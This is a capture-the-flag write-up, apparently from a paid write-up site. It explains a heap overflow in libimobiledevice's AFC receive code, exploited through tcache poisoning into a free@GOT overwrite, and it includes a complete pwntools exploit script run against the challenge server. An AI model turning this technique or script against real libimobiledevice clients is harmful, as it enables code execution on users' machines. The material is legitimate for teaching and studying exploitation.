$ cat writeup.md…
$ cat writeup.md…
sekai2026
Task: attacker controls the AFC device side for libimobiledevice's afc_list client, exposing a real 0day-style heap overflow from inconsistent AFC lengths. Solution: shape tcache, overflow a freed small chunk, poison malloc to free@GOT, write system, and trigger /readflag via free(command).
ppp — insert your typical "you might need a 0day for this" description
We are given a pwn challenge with a remote service at:
nc ppp.chals.sekai.team 1337
The provided archive is pwn_ppp.tar.gz, extracted under pwn_ppp/. The interesting binary is afc_list, built from the libimobiledevice stack inside the supplied Docker environment. The challenge gives us the device side of the AFC protocol, while afc_list is the host-side client.
The final exploit abuses a real 0day-style bug in libimobiledevice's AFC receive path. This writeup focuses on the technical issue and the CTF exploit chain.
afc_list is a dynamically linked amd64 ELF with the following relevant properties:
The Dockerfile builds libimobiledevice from commit:
fa0f79190142bc309307967c058f89c1b36eb6b8
and compiles src/afc_list.c. Because we control the device side of the protocol, the attack surface is not command-line parsing in afc_list, but the library code that receives and parses AFC responses from the device.
The bug is in libimobiledevice src/afc.c, in afc_receive_data().
The receive logic reads an AFC header containing both entire_length and this_length. It then computes payload lengths approximately as:
entire_len = (uint32_t)header.entire_length - sizeof(AFCPacket); this_len = (uint32_t)header.this_length - sizeof(AFCPacket); buf = malloc(entire_len); if (this_len > 0) { service_receive(..., buf, this_len, ...); }
The missing check is:
this_len <= entire_len
As a malicious device, we can send a header where entire_length is small enough to allocate a small heap buffer, but this_length is larger. The subsequent service_receive() writes this_len bytes into a malloc(entire_len) allocation, producing a heap overflow.
This is especially useful because the target binary is non-PIE and Partial RELRO, so writable GOT entries such as free@GOT are fixed and writable. The exploit uses the overflow only to corrupt tcache metadata, then turns a later strdup() into a write to free@GOT.
devinfoFirst, the exploit sends the devinfo command to afc_list and replies with AFC DATA of size 0xf0:
X\0 + padding to 0xf0
This makes the client parse a one-element string list. Internally, make_strings_list() allocates:
0x20 list chunkstrdup("X") chunkAfter the command completes, free_list() frees those chunks. This leaves a useful heap/tcache layout immediately after the previously allocated 0xf0 data chunk.
Next, the exploit sends:
mkdir /x
and replies with AFC STATUS where:
entire_len = 0xf0this_len > 0xf0The allocation is only 0xf0, but the receive copies more than 0xf0 bytes. The payload begins with status param1 = 0, so the command is considered successful, then fills the 0xf0 data buffer and overflows into the adjacent freed 0x20 chunk metadata.
The overflow writes a fake next chunk header and poisons the tcache fd pointer to:
free@GOT = 0x404070
strdup() into a GOT overwriteA final devinfo command receives two NUL-separated tokens:
system's address/readflag sekai ppp #...When make_strings_list() allocates the poisoned 0x20 list entry and then calls strdup() on the first token, the tcache poison makes that strdup() return free@GOT. Copying the six-byte string overwrites free@GOT with system.
Then free_list() frees strings in reverse order. The command string is freed first, but free now points to system, so the program executes:
/readflag sekai ppp
ASLR was disabled in the jail, but the libc base still had to be guessed. The working values were:
libc base = 0x7ffff7d65000 system = 0x7ffff7db7290 offset = 0x52290
The system offset came from the provided libc.
#!/usr/bin/env python3 from pwn import * import struct, sys, time HOST='ppp.chals.sekai.team' PORT=1337 MAGIC=b'CFA6LPAA' HDR=40 OP_STATUS=1 OP_DATA=2 FREE_GOT=0x404070 SYSTEM_OFF=0x52290 context.log_level='error' def p64(x): return struct.pack('<Q', x) def recv_req(io): h=io.recvn(HDR, timeout=3) if len(h)<HDR: raise EOFError('no hdr') magic, entire, this, num, op = struct.unpack('<8sQQQQ', h) if magic != MAGIC: raise ValueError(f'bad magic {magic!r}') body=b'' if this>HDR: body=io.recvn(this-HDR, timeout=3) if entire>this: body += io.recvn(entire-this, timeout=3) return num, op, body def send_resp(io, num, op, entire_len, payload): this_len=len(payload) h=struct.pack('<8sQQQQ', MAGIC, HDR+entire_len, HDR+this_len, num, op) io.send(h+payload) def send_cmd(io, cmd): io.recvuntil(b'afc> ', timeout=3) io.send(cmd+b'\n') return recv_req(io) def attempt(system_addr, verbose=False): io=remote(HOST, PORT, level='error') try: num,op,body=send_cmd(io,b'devinfo') A=0xf0 data=b'X\0'+b'Y'*(A-2) send_resp(io,num,OP_DATA,A,data) io.recvuntil(b'afc> ', timeout=3) io.send(b'mkdir /x\n') num,op,body=recv_req(io) payload=p64(0) + b'A'*(A-8) payload+=p64(0)+p64(0x21)+p64(FREE_GOT) send_resp(io,num,OP_STATUS,A,payload) io.recvuntil(b'afc> ', timeout=3) io.send(b'devinfo\n') num,op,body=recv_req(io) sys6=system_addr.to_bytes(8,'little')[:6] if b'\0' in sys6: raise ValueError('NUL in sys6') cmd=b'/readflag sekai ppp #AAAAAAAAAAAAAAA' data=sys6+b'\0'+cmd+b'\0' send_resp(io,num,OP_DATA,len(data),data) out=io.recvall(timeout=2) if verbose: print(out) return out except Exception: try: io.close() except: pass return b'' if __name__=='__main__': if len(sys.argv)>1: bases=[int(x,0) for x in sys.argv[1:]] else: bases=[] for start,end in [(0x7ffff7d00000,0x7ffff7f00000),(0x7ffff7900000,0x7ffff8100000)]: bases += list(range(start,end,0x1000)) seen=set() for base in bases: if base in seen: continue seen.add(base) system=base+SYSTEM_OFF out=attempt(system) if b'SEKAI{' in out or b'flag{' in out or b'CTF{' in out: print(out.decode('latin-1','replace')) print('base',hex(base),'system',hex(system)) break if out: s=out.decode('latin-1','replace') if 'not found' in s or 'syntax' in s or 'SEKAI' in s: print('cand',hex(base), repr(s[:200])) if (base & 0xffff)==0: print('tried',hex(base), file=sys.stderr)
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar